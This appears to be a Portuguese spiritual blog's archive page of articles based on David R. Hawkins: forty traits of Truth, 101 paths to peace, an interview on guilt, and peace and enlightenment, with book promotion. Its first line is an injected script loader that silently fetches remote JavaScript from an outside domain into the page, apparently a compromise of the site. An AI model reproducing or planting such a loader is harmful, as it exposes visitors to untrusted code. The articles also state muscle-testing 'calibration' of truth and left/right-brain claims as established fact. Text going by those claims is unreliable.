;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de paz - David Hawkins Brasil
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40 Características da Verdade

Anteriormente, explicamos em outro artigo como discernir a Verdade da Falsidade. No entanto, outro ponto de extrema relevância é compreender quais são as características da Verdade, o que nos traz segurança para trilhar o caminho da verdade.

Nós nos entregamos a Deus com uma facilidade muito maior quando verificamos a integridade dos ensinamentos e do professor. Além disso, é uma proteção a nossa alma, para se entregar só a aquilo que vale a nossa confiança.

Já mencionamos também em outro artigo sobre a grande dor que é ter um falso professor espiritual, por isso a importância de compreender como a Verdade se manifesta diante de suas características.

40 Características da Verdade

“1 – Universalidade:

A Verdade é Verdade em qualquer tempo e espaço, independente da cultura, personalidades ou circunstâncias.

2 – Não exclusivista:

A Verdade é abrangente, não é secreta, nem sectária.

3 – Disponível:

É aberta a todos, sem exceção. Não existem segredos escondidos a serem revelados ou vendidos e não há fórmulas mágicas ou “mistérios”.

4 – Integridade de propósito:

Não existe nada a perder ou ganhar.

5 – Não sectária:

Verdade não é a exposição da limitação.

6 – Independente de opinião:

A Verdade é não linear e não está sujeita às limitações do intelecto e da forma.

7 – Ausência de Posicionamento:

A Verdade não é ‘anti’ nada. Falsidade e ignorância não são seus inimigos, mas apenas representam sua ausência.

8 – Sem requisitos ou demandas:

Não há obrigatoriedade de filiações, quotas, regulamentos, juramentos, regras ou condições.

9 – Não controladora:

A pureza espiritual não tem interesse na vida pessoal do aspirante, ou em sua vestimenta, vida sexual, finanças, padrões familiares ou hábitos alimentares.

10 – Livre de força ou intimidação:

Não há lavagem cerebral, adulação de líderes, rituais de treinamento, doutrinações, ou intrusões na vida pessoal.

11 – Não vinculante:

Não há regulamentos, leis, editais, contratos ou compromissos.

12 – Liberdade:

Os participantes são livres para ir e vir, sem persuasão, coerção, intimidação ou consequências. Não há hierarquia, em vez disso, há a execução voluntária de necessidades e deveres práticos.

13 – Comunalidade:

O reconhecimento é consequência do que a pessoa se tornou e não de títulos, adjetivos ou ornamentos.

14 – Inspiradora:

A Verdade evita e afasta-se de glamorização, sedução e dramatização.

15 – Não materialista:

A Verdade é desprovida das necessidades mundanas como riqueza, prestígio, pompa ou edifícios.

16 – Autossatisfatória:

A Verdade já é total e completa e não há necessidade de converter discípulos, seguidores, ou membros inscritos.

17 – Desapegada:

Não há envolvimento nos assuntos mundanos.

18 – Benigna:

É identificável em uma escala gradiente. Não tem opostos e, portanto, não há inimigos para castigar ou se opor.

19 – Não intencional:

Não interfere ou tem um interesse para defender, infligir ou promover.

20 – Não dual:

Tudo se manifesta por virtude da propensão intrínseca (cármica) contida no campo (de consciência), através da qual a potencialidade se manifesta como realidade e não como causa e efeito.

21 – Tranquilidade e Paz:

Não há problemas ou parcialidades. Não há desejo de mudar o outro ou a sociedade. O efeito das energias mais elevadas é inato e não depende de divulgação ou esforço. Deus não precisa de ajuda, assim como a gravidade não precisa da “ajuda” de uma maçã cair da árvore.

22 – Igualdade:

Isso é expressado na reverência por todas a vidas em todas as suas formas de expressão e simplesmente evita aquilo que denigre a vida, ao invés de se opor a isso.

23 – Atemporal:

A vida é realizada como eterna e a fisicalidade como temporal. A vida não é sujeita a morte.

 24 – Além de prova:

Aquilo que é provado é linear, limitado e produto de intelectualização. A Realidade não precisa entrar em nenhum acordo. A realidade não é uma aquisição, mas, em vez disso, é uma realização puramente espontânea e subjetiva (que ocorre) quando as poscionalidades do ego dualista são rendidas.

25 – Mística:

A origem da Verdade é um esplendor espontâneo, radiância e iluminação, o que ocupa o lugar da ilusão de ser um eu separado, do ego e das suas mentalizações.

26 – Inefável:

Não capaz de definição. Subjetividade radical é experiencial. É uma condição que substitui a condição anterior que era focada no ego. Com esse evento, o contexto substitui o conteúdo, de forma atemporal. A realidade não existe no tempo, não está contida no tempo, além do tempo ou mesmo fora do tempo e não há relação com aquilo que é artificio de mentalizações. É, portanto, além de todos os substantivos, adjetivos ou verbos, transitivo ou intransitivo.

27 – Simplista:

Vê-se a beleza interna e perfeição de Tudo que existe além de forma e aparência.

28 – Afirmativa:

É além de opiniões e capacidade de provar. Sua confirmação é puramente por sua consciência subjetiva; entretanto, é identificável pelas técnicas de calibragem de consciência.

 29 – Não operativa:

Não “faz” nada ou “causa” nada. É tudo.

30 – Convidativa:

Em contraste com promocional ou persuasiva.

31 – Não preditiva:

Justamente porque a realidade não é linear, ela não pode ser localizada ou codificada pela sua restrição de forma, não há mensagens secretas, códigos, números e não há nada escondido em ruínas, pedras, nas dimensões das pirâmides, no DNA, nem nos pelos das narinas dos camelos. A Verdade não tem segredos. A realidade de Deus é onipresente e é além de códigos ou de exclusividade. Os códigos são reflexo da imaginação humana e não um capricho do Divino.

32 – Não sentimental:

A emocionalidade vem da percepção. A compaixão resulta do discernimento da Verdade.

 33 – Não autoritária:

Não há regras ou ditames a serem seguidos.

 34 – Não egóica:

Professores são respeitados, mas rejeitam adulação ou especialidades.

35 – Educacional:

Providencia informação em uma variedade de formatos a fim de garantir disponibilidade.

36 – Autoportante:

Não é mercenária, nem materialista.

37 – Independente:

Completa, sem dependências externas ou autoridades históricas.

38 – Natural:

Sem estados de consciência induzidos e alterados ou manipulações de energia por exercícios artificiais, posturas, respirações ou rituais de dieta (ou seja, não há dependência da forma ou fiscalidade, não há invocação de entidades ou outros).

39 – Completa:

Desprovida de exploração ou necessidade de ganho.

40 – Não violenta:

Não coerciva, benigna, não intimidadora.”

Fonte: Dr. David Hawkins em “The Map of Consciousness Explained”

Por fim, com essas características explicitas, podemos seguir confiantes de que estamos no caminho da Verdade.

Gloria In Excelsis Deo!

Leia Direto da Fonte

No livro “Poder vs. Força”, o dr. David Hawkins nos ensinou sobre como sair dos campos energéticos que escolhem servir ao ego e nos dedicar aos campos de consciência que servem a Deus. Enquanto que no livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus). 

Além disso, no livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. 

No livro “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus.

Ainda que esses são apenas os livros que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e a Pandora Treinamentos absorveu essa intenção, justamente pela sua inspiração e pelo compromisso em traduzir seus livros para português, visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor.

Estão todos convidados para mergulhar nesse conteúdo conosco.

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101 Caminhos para a Paz, segundo David R. Hawkins

“Nós mudamos o mundo não pelo que dizemos ou fazemos, mas como consequência do que nos tornamos.” – Dr. David R. Hawkins, M.D., Ph.D.

Dr. David R. Hawkins tornou-se conhecido a partir da publicação do best-seller Poder vs Força, no qual apresenta a Escala da Consciência, também conhecida como Mapa da Consciência ou Escala das Emoções e traz para nós uma visão de caminhos para a paz.

A partir do trabalho de Hawkins, pela primeira vez a humanidade teve acesso a um mapa claro da evolução da consciência, desde os níveis mais baixos (vergonha, culpa, ódio) até os mais elevados (amor, paz, iluminação).

Foi falando sobre um desses níveis de consciência elevados, em uma palestra com o tema “Paz”, que Dr. Hawkins apresentou os 101 caminhos possíveis para viver nesse estado pacífico.

Hawkins afirma que a paz é uma decisão e pode existir mesmo no meio da guerra, devastação e catástrofe. 

A seguir você encontra os 101 caminhos para a paz descritos por ele. 

101 caminhos para a paz, segundo Dr. David R. Hawkins

Descubra os melhores caminhos para a paz:

1. Abra mão de tentar mudar e controlar os outros. A fonte da sua felicidade está unicamente dentro de você. A paz tem que ser uma decisão que você toma. Ela pode existir no meio da guerra, devastação e catástrofe.

2. Deixe ir o desejo de se vingar.

3. Desapegue de querer estar certo e querer que os outros estejam errados.

4. Pratique o discernimento em vez do julgamento. O julgamento diz: “eles deveriam ser diferentes”, enquanto o discernimento vê a essência e a verdade de uma pessoa, mas sem julgamento.

5. Seja modesto com opiniões.

6. Aperfeiçoe habilidades de diplomacia e gentileza.

7. Seja gentil e atencioso.

8. Mantenha a serenidade como meta.

9. Não há problema em estar errado ou indeciso.

10. Calibre as opções. Seja flexível.

11. Não é necessário ter opinião sobre tudo.

12. Evite manifestações de paz.

13. Lembre-se que Sócrates era baixo e feio.

14. Valorize a sabedoria acima de estar certo.

15. Busque conselhos sábios.

16. Perceba que você influencia os outros pelo que você é, não pelo que você faz (a melhor coisa que você pode fazer para o mundo é sentar e calar a boca! Apenas ter pensamentos gentis faz a diferença).

17. Evite o ativismo e o pedantismo.

18. Seja grato por seus bens (seu ativo mais importante é o interesse espiritual).

19. A humanidade sobreviveu milhões de anos sem sua ajuda.

20. Seja seu melhor amigo.

21. Desconfie dos benfeitores (eles querem controlar você para o seu próprio bem, é claro!)

22. Benfeitor: um reformador social sério e muitas vezes ingênuo. Ingênuo: (a pessoa ou ação) que mostra falta de experiência, sabedoria ou julgamento.

23. Deixe os outros vencerem.

24. Cuidado com consequências não intencionais.

25. A criança inocente está presente em todos.

26. Ore para ver as coisas de uma forma diferente, reformule/recontextualize.

27. Aceite que a maioria das pessoas calibra abaixo de 200 (diminua suas expectativas – elas estão indo muito bem apenas para sobreviver).

28. Não julgue para não ser julgado (se eles pudessem fazer ou ser melhores, eles fariam).

29. Todos os pontos de vista são arbitrários.

30. Renove a consideração e a gratidão.

31. A mente é um ‘isso’, não um ‘você’. A mente fala o tempo todo; isso é ego. O espírito não fala.

32. Os críticos valem um centavo a dúzia.

33. Leia o livro “Extraordinary Popular Delusions and the Madness of Crowds by Mackay”, de Mackay.

34. Mantenha o senso de humor.

35. Todos presumem que estão certos e os outros estão errados.

36. Procure entender os outros em vez de mudá-los.

37. Sirva a Deus em vez do ego narcisista.

38. Procure participar em vez de dominar.

39. Não há problema em ter falhas.

40. Evite lutar pelo que é moralmente elevado.

41. Apoie os outros para encontrar o que há de bom em si mesmos.

42. Admita o que é em vez do que deveria ser.

43. Não há problema em apenas “ser” em vez de fazer ou ter.

44. Entregue sua vontade a Deus.

45. Deixe o passado ser passado.

46. ​​Se você não tem nada de bom a dizer sobre uma pessoa, então não diga nada.

47. Perceba que a humanidade esteve em guerra durante 93% da história registrada e que a paz mundial é improvável.

48. Aceitação: é isso que importa.

49. Fatalismo – o que será, será, por influências cármicas.

50. Desenvolva uma natureza pacífica. Esteja ciente do poder da Natureza.

51. Veja a beleza de tudo o que existe (1 polegada cúbica do Campo Infinito da Consciência é maior que a massa total de todo o universo)

52. Valorize a quietude.

53. Abandone a obstinação; silencie a criança interior.

54. Pratique as virtudes.

55. Recorde “paz na Terra, boa vontade para com todos os homens.”

56. Esforce-se para ser angelical em vez de luciférico.

57. Não pratique apegos, nem aversões. Buda.

58. Aceite os papéis sociais dos outros.

59. Estude para entender os outros.

60. A Experiência de Quase-Morte é de paz total.

61. Somente o ego é vulnerável; o verdadeiro Eu é eterno.

62. Viva em cada instante, isso é naturalmente pacífico.

63. Desapegue do controle; seja a testemunha-observadora.

64. Pratique meditação e contemplação.

65. Diferencie desejos de necessidades.

66. Vista o mundo como uma roupa leve.

67. Diferencie aparência de essência.

68. Seja gentil com todas as formas de vida.

69. Tenha animais de estimação e um jardim.

70. Diminua as expectativas sobre os outros (ninguém será o que você quer que eles sejam).

71. Cuide da sua própria vida.

72. Faça uma lista de preocupações (e priorize-as, dessa forma a mente relaxa).

73. Chocolate vs. baunilha implica uma escolha

74. Diferencie pontos de vista emocionais vs. espirituais (Bem, é assim que me sinto! Quem se importa?)

75. Utilize a lógica em vez da emoção.

76. Peça um milagre.

77. Hoje é o ontem de amanhã.

78. Converse com um amigo.

79. Aceite o pior cenário.

80. Vou pensar nisso amanhã (E o Vento Levou).

81. A paz existe no meio da guerra.

82. As coisas poderiam ser piores.

83. A vida é transitória.

84. Você foi criado por Deus.

86. Desista de tentar ser feliz (Apenas SEJA feliz!)

87. Desista de ser rico e famoso.

88. Caminhe pelo labirinto.

89. Faça o rosário.

90. Gire a roda de oração.

91. Escreva um testamento.

92. Faça um seguro de vida. (Você tem que ser real sobre as coisas. Um testamento e seguro significa que sua morte servirá como um benefício para alguém. Se você não tiver parentes, você pode fazer uma apólice de seguro e deixar para os gatinhos e cachorrinhos em uma instituição.)

93. Assista ao canal de animais na TV.

94. Enterre o machado.

95. Desista de ser um viciado em adrenalina.

96. Pare quando estiver no topo.

97. Deixe de lado a ganância (desejo voraz).

98. Invoque sua Natureza Buda.

99. Viva no espaço abaixo dos pensamentos.

100. Fale de maneira sensata consigo mesmo no espelho.

101. Converse com seu terapeuta ou psicólogo.

Como se aprofundar nos 101 caminhos para a paz, de Dr. David Hawkins

Apenas ler sobre os caminhos já nos traz uma sensação de alívio, porém sabemos que a prática é fundamental para realmente vivenciarmos a paz no nosso dia a dia.

Se você deseja aprofundar esses conhecimentos e conectar-se com os níveis de consciência de Amor e Paz, sugerimos a leitura das obras de Dr. Hawkins.

Confira aqui os livros de Dr. David R. Hawkins em português, incluindo os best-sellers Poder vs Força e Deixar Ir: https://loja.pandoratreinamentos.com.br/dr-david-hawkins

Que a Paz esteja com você!

– – – 

Direitos autorais do conteúdo – Veritas Publishing

Traduzido e adaptado do artigo original de Julian Conor Reid.

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Como Livrar-se da Culpa – Entrevista de Dr. David R. Hawkins

Livrar-se da culpa esse artigo foi originado a partir da transcrição do vídeo intitulado “Como se livrar da culpa”, originado a partir de uma Entrevista do Dr. David R. Hawkins concedida à sua esposa Susan J. Hawkins durante palestra realizada no Institute for Spiritual Research, uma organização sem fins lucrativos dedicada à pesquisa da consciência.

Como nos relacionamos com a culpa?

De que forma nos relacionamentos com a culpa? O que fazemos para nos livrarmos da culpa?

Neste vídeo o Dr. Hawkins, médico e PhD, explica sobre nossa relação com a culpa de uma maneira inusitada.

Sentir-se culpado por aquilo que foi feito é um ato narcisista e egoísta em que a imagem que o ser tem de si mesmo é a de ser o centro do universo onde tudo que acontece tem a ver consigo mesmo.

Livrar-se da culpa, uma lição de nossos grandes mestres

Essa característica egóica e de autocentramento, foi também citada por:

  • Buda, que nos ensinava para “esquecermos o nosso eu como sendo separado do Todo”
  • Jesus Cristo, quando dizia, por exemplo, “que atire a primeira pedra quem nunca pecou” ou “levanta, toma o teu leito e anda…e não peques mais para que coisas piores não lhe aconteçam”.

Jesus, Buda ou Krishna nunca nos disseram para nos sentirmos culpados ou para ficarmos pesarosos diante de nossos erros ou falhas passadas.

Eles sabiam que todo erro e pecado são devido a ignorância: ignorar a Verdade do Amor, acreditando que algo egoísta irá lhe trazer felicidade.

A Felicidade e a Paz do Éden

Ignorar a verdade do amor, esta é a história do Éden, no Gênesis bíblico: acreditar, por ignorância, que morder a maçã oferecida pela serpente será melhor do que a própria Paz do Éden.

E essa é uma das mais precisas representações de nossa mente no mundo material.

Toda vez que mordemos a maçã (acabamos praticando algo egoísta que promete prazeres de curto prazo sem nos importarmos com o longo prazo para nós mesmos e para os outros), saímos da paz do Éden (a serenidade do lado direito do cérebro) e caímos no sofrimento de Nod (a turbulência do lado esquerdo do cérebro).

E como fazer para voltar para o Éden?

Para voltar para o Éden, o caminho não é se culpar, na verdade isso nos afasta ainda mais do Éden (lembre-se que quando Adão e Eva sentiram vergonha, culpa e medo, eles foram “expulsos” do Éden).

O caminho de volta para o Éden é reconhecer aquele novo saber (de que aquela ação ou prática não traz a felicidade, mas sofrimento), se perdoar, pedir perdão e seguir em frente com uma nova consciência, “pagar o que tiver que pagar” e não praticar novamente aquele ato.

Pois, uma vez passado pela experiência e reconhecido o sofrimento, isso basta para não se repetir aquele caminho.

Isso é o que é chamado de sabedoria:

  • Deixar de ignorar a verdade através das experiências as quais você passa e não repeti-las mais na mesma intensidade.
  • Sempre buscar diminuir a intensidade daquela prática, se ela for um vício, ou não praticá-la mais, se for algo pontual.

Como livrar-se da culpa – Transcrição do Vídeo

Dr. David Hawkins: O budismo tende a identificar a culpa como um comportamento indulgente, egoísta e narcisista: “coitado de mim, isso é horrível! Como fui cometer esse erro? O que eu vou fazer a respeito disso?”

É tudo sobre si próprio, então a intenção de Buda era que você saísse dessa posição narcisista e indulgente.

Susan: Então, o melhor a fazer quando cometemos um erro é reconheçamos e seguir em frente?

Dr.David Hawkins: Isso é o que você deve se fazer.

E também, a princípio, existe um “eu” pessoal que fez isso. Conforme você vai se iluminando, vira apenas uma ilusão pensar que havia uma separação entre o “eu” pessoal que fez isso ou aquilo. Isso é tudo uma hipérbole, um exagero.

Bem, você estava dizendo que algumas coisas acontecem como resultado de uma emergência.

Existem campos de atração poderosos que dominam campos de atração mais fracos, que dominam outros campos de atração ainda mais fracos. Então, algo ainda pode escapar de todos eles facilmente e ainda explodir.

O animal que mora no lado esquerdo do nosso cérebro

Não se esqueça que nós temos o lado esquerdo e o lado direito do cérebro.

Se fosse para sermos anjos nesse reino, nós só deveríamos ter o lado direito do cérebro.

O lado esquerdo do cérebro é praticamente um animal e qualquer coisa que eu procuro perdoar a mim mesmo é quase sempre o animal quem causa.

É o animal quem quer ser o primeiro da fila, é o animal quem quer atenção, é o animal quem quer ter o seu território. É quase sempre o animal.

ser espiritual é apenas ignorante, digamos assim.

Mas, o ser humano, por si só, é o lado esquerdo do cérebro, o lado animal, que surge, o instinto animal, a amídala que domina.

Então, o superego reconhece através da culpa que o seu lado animal escapou de você.

Você deve se familiarizar com o seu animal, digamos assim, reconhecer que seu lado animal existe, e que apesar do seu lado animal te causar um monte de problemas, se não fosse por ele, você provavelmente não estaria vivo. (Risos)

Então, nós podemos nos familiarizar com o animal que existe dentro de nós, ao invés de negar que ele existe. E dizemos: “É claro que você quer ser o primeiro, é claro que você quer ser o macho alfa, a fêmea alfa, o mais rico do mundo, o líder do grupo, o mais dominante.

Livrar-se da culpa

Então, uma forma de se livrar de algo, de livrar-se da culpa é reconhecer esse algo e não se livrar disso, mas aceitar isso.

É reconhecer o animal, e dizer “OK”.

Você pode até dar um nome para o seu lado animal, por exemplo, “Perky” (Risos).

Pode dizer: “Ok Perky, estou te ouvindo. É claro que você quer vencer, é claro que você quer vencer a competição de beleza. É claro que você quer ser rico e famoso em Hollywood”.

É isso que domina o pensamento de milhões e milhões de pessoas.

Sobre o Palestrante

Dr. David R. Hawkins foi médico e PhD em psiquiatria, além de professor espiritual, e possui vasta experiência. Abaixo podemos ver algumas de suas qualificações e experiências:

– Psiquiatra clínico por mais de 50 anos;
– Escreveu livro vanguardista sobre Psiquiatria Ortomolecular com o químico ganhador do Prêmio Nobel Linus Pauling;
– Entrou para o hall da fama da medicina ortomolecular;
– Criador do Mapa de Consciência;
– Palestrou em Oxford, Harvard, Westminster Abbey, Universidade de Notre Dame, Michigan, Universidade da Califórnia entre muitas outras;
– Consultor diplomático entre países com conflito político;
– Foi consultor em monastérios católicos, protestantes e budistas atestando a veracidade de estados avançados de consciência (estágios de Iluminação Espiritual) em monges e retirantes;
– Recebeu o título na Korea de “Rae Ryeong Seon Kak Tosa” – “antes de tudo, professor no caminho da iluminação”;
– Cavaleiro da Ordem Soberana dos Hospitaleiros de São João de Jerusalém, fundada em 1077;
– Dezenas de outros prêmio e honras podem ser vistos na lista completa em: www.veritaspub.com/dr-hawkins/

Sobre suas obras

Dr. David R. Hawkins é autor de doze livros, sendo dois deles best sellers mundiais com mais de um milhão de cópias vendidas em mais de 25 idiomas.

Estes três livros, O Sucesso é Para Você, Poder vs Força e Deixar Ir, foram traduzidos para o português pela Pandora Treinamentos e estão disponíveis neste em nossa loja virtual.

Nos livros, David R. Hawkins explica sobre o conceituado Mapa da Consciência, como podemos nos ancorar e atrair os campos mais positivos de consciência, e sobre a técnica de investigação da Verdade a partir do teste de resistência muscular, um aprimoramento da ciência da cinesiologia aplicada.

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A Paz e o Processo de Iluminação – com base em Dr. David Hawkins

Todo ser humano busca a Paz. A Paz é a fonte de nossa natureza. Dela saímos e para ela retornamos. A Paz é a primeira percepção experiencial sobre a Fonte de Tudo o que Existe.

Mensagens de Paz são ditas por todos os cantos e sabemos que ela existe em algum lugar.

Muitas vezes, como tudo o que costumamos fazer, projetamos um estado ideal fora de nós, como o desejo de paz no mundo, mas esta paz externa e utópica não é a Paz Real.

A Paz Real é interna.

É estar bem consigo mesmo a todo momento e independente do que acontece nos planos:

  • físico,
  • vital,
  • emocional ou
  • mental.

É um estado de espírito pleno e de bem-aventurança. É não-sofrimento. Alegria plena e constante. O estado de Paz interior já não se afeta por causalidades ou motivos externos.

A Paz e sua manifestação

Paz não significa inação e está longe disso.

É um estado de extrema energia que é utilizada quando se faz necessária. Assim como um estado de extremo silêncio que também é contemplado com graça e naturalidade.

Neste estado, o silêncio sobressai ao ruído.

Por mais que ainda haja pensamentos – quando se sustenta o pensamento – o silêncio como pano de fundo está sempre presente.

O pensamento aparece como singela sugestão ou é convocado pelo Ser que decide pensar.

Liberta-se da escravidão e do vício ao qual o ser humano acredita ter de pensar e o pensar passa a ser uma escolha.

Da mesma forma que não há apego no pensamento, também não há resistência ao impulso autônomo do pensar.

Assim como quando olhamos um chocolate e não sentimos mais aquela necessidade absurda de comê-lo, mas às vezes, escolhemos comer um pedaço para agraciar o seu sabor.

Onde o precisar vira preferir, experimenta-se a liberdade. Quando temos esta opção no quesito pensar, isso é chamado de nível de consciência de Paz.

Onde nasce esse estado?

A Paz nasce quando o Amor Incondicional se aquieta e se compreende a não-necessidade de Amar ativamente, entendendo que Tudo já É Amor por si só.

O Amor se torna incondicional até mesmo de agir ou não agir, de fazer ou não fazer, de realizar ou não realizar.

A Paz está no Ser que independe do fazer e do ter. É possível viver em grandes períodos de silêncio em entendimento de que nada precisa ser feito a não ser que seja evidente intervir.

A vontade pessoal se esvai e dá lugar à Vontade Divina. O que não significa que há ausência de preferências.

Tudo na vida segue como de maneira normal, mas nada mais é preciso.

O Ser em Paz É. É a Expressão Divina manifesta na forma.

Não busca reconhecimento e por isso é reconhecido, pois o Poder de suas palavras não procuram por:

  • glamour,
  • fama,
  • reconhecimento,
  • dinheiro
  • ou qualquer interesse individual ou egóico.

O dinheiro e o reconhecimento vêm como consequência do que se É.

E como o estado de Graça é vivenciado, nada que é dado e ofertado pelas ocorrências e situações da vida é negado, desde que não venha com má-intenção.

Não há mais julgamentos e abre-se espaço para compreensão, compaixão e misericórdia.

Não é mais possível existir resistência ao que É, apenas a observação sempre presente do que se deve ou não fazer em relação àquilo que se manifesta.

Nada ‘precisa’ ser feito

O desapego é a experiência subjetiva. O que não significa distanciamento, mas sim uma aceitação profunda sem esperar que nada mude, pois se é sabido que o que tiver que acontecer acontecerá e não há formas de intervir sobre a Vontade Divina, apenas testemunhar e observar.

Agraciar a vida. Contemplar.

Neste estágio, o ser cortou os cinco laços de ilusões do mundo permanentemente:

  1. Apego a rituais doutrinários e dogmáticos,
  2. Ceticismo sobre a existência de Deus e seu Caminho Puro,
  3. Ilusão de um ‘eu’ separado do contexto e do Todo,
  4. Má-intenção e
  5. Desejo sobre os estímulos dos sentidos.

Desta forma, a escravidão se dissolve e a liberdade existe. A alegria e felicidade mantêm-se 100% do tempo.

Mesmo porque o tempo já não é mais percebido como a maioria dos seres humanos percebe.

Há o entendimento de que passado, presente e futuro são uma e a mesma coisa e estamos a todos os momentos vivenciados em um Eterno Agora.

Assim, percebe-se que não há um agente causador. Nada causa nada. E a observação é de um desdobrar natural e evidente.

Tudo se desdobra no ritmo e forma perfeitos e óbvios os quais não poderiam ser diferentes, de acordo com a Evolução natural e sincronia de Tudo que Existe.

O que é Iluminação Espiritual?

A iluminação muitas vezes é vista com olhos místicos ou uma recompensa a ser alcançada no futuro. 

Na verdade essa (in)compreensão é o que afasta muitas pessoas desse estado.

A iluminação não pode ser alcançada, pois já é um estado inato do Ser.

Já se é Luz, porém perde-se na sombra. Há o turvar da mente.

O sol não é alcançado, não aparece só quando não há nuvens. Ele sempre está lá. Continuamente. Ele simplesmente se revela quando as nuvens vão embora.

A iluminação é a retirada das nuvens de ilusões do ego e o mantimento do sol do Ser sempre Presente.

É um estado alcançado apenas no momento Presente. Em cada nanossegundo de cada momento Presente.

É a disciplina contínua de afastar cada nuvem de ilusão que busca tampar o sol insistentemente a todo instante.

Até que, por intenção, as nuvens já não escondem mais o sol. E o sol se mantém. Ilumina-se.

“Iluminação é caracterizada pelo desaparecimento dos desejos, necessidades, avidez e aversão. O som não tem nenhum efeito sobre o silêncio que persiste mesmo dentro do som e pensamentos mantidos em mente são muito poderosos e tendem a se manifestar rapidamente. Não há necessidade de ‘querer’ nada porque tudo se manifesta em nossa vida de forma espontânea e autônoma, sem vontade consciente ou esforço. Não há causa volitiva tal como um ato pessoal ou um “eu” que “decide” ações. Tudo simplesmente é como É, sem adjetivos e não há necessidade de verbos”.
Dr. David R. Hawkins; MD; PhD.

Os Estágios da Iluminação

O primeiro estágio de iluminação é a Paz.

É um estado de extrema simplicidade que compreende o complexo, mas não precisa usá-lo.

A simplicidade da inocência profunda que não se opõe ao discernimento.

A inocência cancela a intervenção orgulhosa do ceticismo e desconfiança que têm sua base no medo de estar errado ou de perder seus ganhos ou recompensas prazerosos narcisistas.

É um estado de descondicionamento das crenças de necessidades do ego. Tudo aquilo que se acredita que precisa ou que está certo, é colocado em prova.

A investigação e a humildade são o cume da experiência.

A busca pela Verdade já não é uma opção. É simplesmente natural, pois se sabe que quanto mais se sabe sobre a Verdade mais o Ser se liberta.

Aquele que ouve falar de iluminação já não pode mais se satisfazer com nada, pois é sabido que a ausência da Paz nos mantém no ciclo infinito de busca de prazer e experiência de desprazer dependentes diretamente do que está fora e em algum lugar no tempo ausente do Presente.

A iluminação está disponível para todos os seres humanos no momento Presente.

É então necessária a utilização da intenção e firme determinação para se desconectar dos padrões do ego que turvam e resistem à esta Realidade subjetiva e radical.

Quando se alcança o alto da consciência do Amor Incondicional então, o próximo passo é desapegar-se da ferramenta que trouxe o Ser até aqui: sua própria intenção.

Sem a necessidade da criação de intenções revela-se então o entendimento de que  “Seja feita a Vossa Vontade” e não a minha.

A paz está dentro de você e poderá ser sentida quando buscar se autoconhecer, saber seus limites e a forma de vendê-los. A prática de autodesafios  pode conectar você a esse estado de rendição e paz interior.

Você também pode se conectar à sua paz e buscar a iluminação conhecendo si mesmo através de Mentoria de Alta Performance.

Gloria in Excelsis Deo!

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis.

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual